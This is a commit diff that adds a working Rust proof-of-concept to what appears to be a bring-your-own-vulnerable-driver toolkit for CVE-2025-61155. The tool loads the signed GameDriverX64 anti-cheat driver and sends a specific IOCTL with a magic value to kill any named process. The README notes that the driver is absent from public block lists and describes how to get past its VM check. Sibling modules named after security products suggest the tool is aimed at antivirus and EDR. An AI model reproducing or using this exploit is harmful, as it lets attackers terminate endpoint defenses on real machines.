GameDriverX64-Killer: CVE-2025-61155

Cargo.toml

@@ -3,6 +3,7 @@ members = [
     "byovd-lib",
     "BdApiUtil-Killer",
     "CcProtect-Killer",
+    "GameDriverX64-Killer",
     "K7Terminator",
     "Ksapi64-Killer",
     "NSec-Killer",
@@ -21,7 +22,7 @@ edition = "2021"
 winapi = { version = "0.3.9", features = [
     "minwindef", "winnt", "minwinbase", "winsvc", "handleapi",
     "fileapi", "ioapiset", "processthreadsapi", "winerror",
-    "processenv", "tlhelp32", "errhandlingapi", "securitybaseapi",
+    "processenv", "tlhelp32", "errhandlingapi", "securitybaseapi", "libloaderapi"
 ] }
 clap = { version = "4.0", features = ["derive"] }
 ctrlc = "3.3"

GameDriverX64-Killer/.gitignore

@@ -0,0 +1 @@
+/target

GameDriverX64-Killer/Cargo.toml

@@ -0,0 +1,9 @@
+[package]
+name = "GameDriverX64-Killer"
+version.workspace = true
+edition.workspace = true
+
+[dependencies]
+byovd-lib.workspace = true
+winapi.workspace = true
+clap.workspace = true

GameDriverX64-Killer/README.md

@@ -0,0 +1,36 @@
+# GameDriverX64-Killer
+- PoC for CVE-2025-61155 vulnerability in GameDriverX64
+
+- As of 2026-02, the driver is **not** listed on [LOLDDrivers](https://www.loldrivers.io/) or in [Microsoft's recommended driver block rules](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules)
+
+Built on [`byovd-lib`](../byovd-lib/) -- implements the `DriverConfig` trait and delegates the full BYOVD flow to the shared library.
+
+**Driver hashes:**
+- `GameDriverX64.sys` SHA256: `9ddae47ff968343a8c32a5344060257fdc08e2a7bdb9a227c8b3a584ee3c9f1e`
+
+> [!TIP]
+> The driver will detect virtual machines (such as VBOX, VMWare, XenVMM, KVM) by CPUID and refuse to load if it detects one. If you encounter difficulties in this area, you can use a physical test machine for this PoC.
+
+## Usage
+
+Place `GameDriverX64.sys` in the same directory as the executable.
+
+```text
+BYOVD process killer using GameDriverX64 (CVE-2025-61155)
+
+Usage: GameDriverX64-Killer.exe --name <PROCESS_NAME>
+
+Options:
+  -n, --name <PROCESS_NAME>  Target process name (e.g., notepad.exe)
+  -h, --help                 Print help
+  -V, --version              Print version
+```
+
+```bash
+# Build
+cargo build --release -p GameDriverX64-Killer
+
+# Run
+.\GameDriverX64-Killer.exe -n notepad.exe
+```
+

GameDriverX64-Killer/src/main.rs

@@ -0,0 +1,86 @@
+use byovd_lib::{DriverConfig, Result};
+use clap::Parser;
+use std::ffi::CString;
+use winapi::um::libloaderapi::LoadLibraryA;
+
+// ============================================================================
+// Driver Configuration - GameDriverX64
+// CVE-2025-61155
+// ============================================================================
+
+struct IoctlInput {
+    magic: u32,
+    pid: u32,
+}
+
+struct GameDriverX64Driver;
+
+impl DriverConfig for GameDriverX64Driver {
+    fn driver_name(&self) -> &str {
+        "GameDriverX64"
+    }
+
+    fn driver_file(&self) -> &str {
+        "GameDriverX64.sys"
+    }
+
+    fn device_path(&self) -> &str {
+        "\\\\.\\HtAntiCheatDriver"
+    }
+
+    fn ioctl_code(&self) -> u32 {
+        0x222040
+    }
+
+    fn build_ioctl_input(&self, pid: u32, _process_name: &str) -> Vec<u8> {
+        let input = IoctlInput {
+            magic: 0xFA123456,
+            pid,
+        };
+        let mut bytes = Vec::new();
+        bytes.extend_from_slice(&input.magic.to_ne_bytes());
+        bytes.extend_from_slice(&input.pid.to_ne_bytes());
+        bytes
+    }
+
+    fn ioctl_output_size(&self) -> usize {
+        4
+    }
+}
+
+// ============================================================================
+// CLI
+// ============================================================================
+
+#[derive(Parser)]
+#[command(name = "GameDriverX64-Killer", version, author = "BlackSnufkin, wwwab")]
+#[command(about = "BYOVD process killer using GameDriverX64 (CVE-2025-61155)")]
+struct Cli {
+    /// Target process name (e.g., notepad.exe)
+    #[arg(short = 'n', long = "name", required = true)]
+    process_name: String,
+}
+
+// ============================================================================
+// Main
+// ============================================================================
+
+fn main() -> Result<()> {
+    let cli = Cli::parse();
+
+    let currect_exe = std::env::current_exe()?;
+    let new_name1 = "QmGUI4.dll";
+    let new_name2 = "QmGUI.dll";
+    let new_name3 = "gameuirender.dll";
+
+    for dll_name in [new_name1, new_name2, new_name3] {
+        std::fs::copy(&currect_exe, dll_name)?;
+        let dll_cstr = CString::new(dll_name).expect("dll name had interior nulls");
+        unsafe {
+            // Load renamed copies to satisfy driver expectations.
+            LoadLibraryA(dll_cstr.as_ptr());
+        }
+    }
+
+    byovd_lib::run(&GameDriverX64Driver, &cli.process_name, None)
+}

README.md

@@ -39,6 +39,7 @@ BYOVD/
 │   └── src/lib.rs
 ├── BdApiUtil-Killer/                  # Uses byovd-lib
 ├── CcProtectt-Killer/                 # Uses byovd-lib
+├── GameDriverX64-Killer/              # Uses byovd-lib
 ├── K7Terminator/                      # Standalone (LPE + BYOVD modes)
 ├── Ksapi64-Killer/                    # Uses byovd-lib
 ├── NSec-Killer/                       # Uses byovd-lib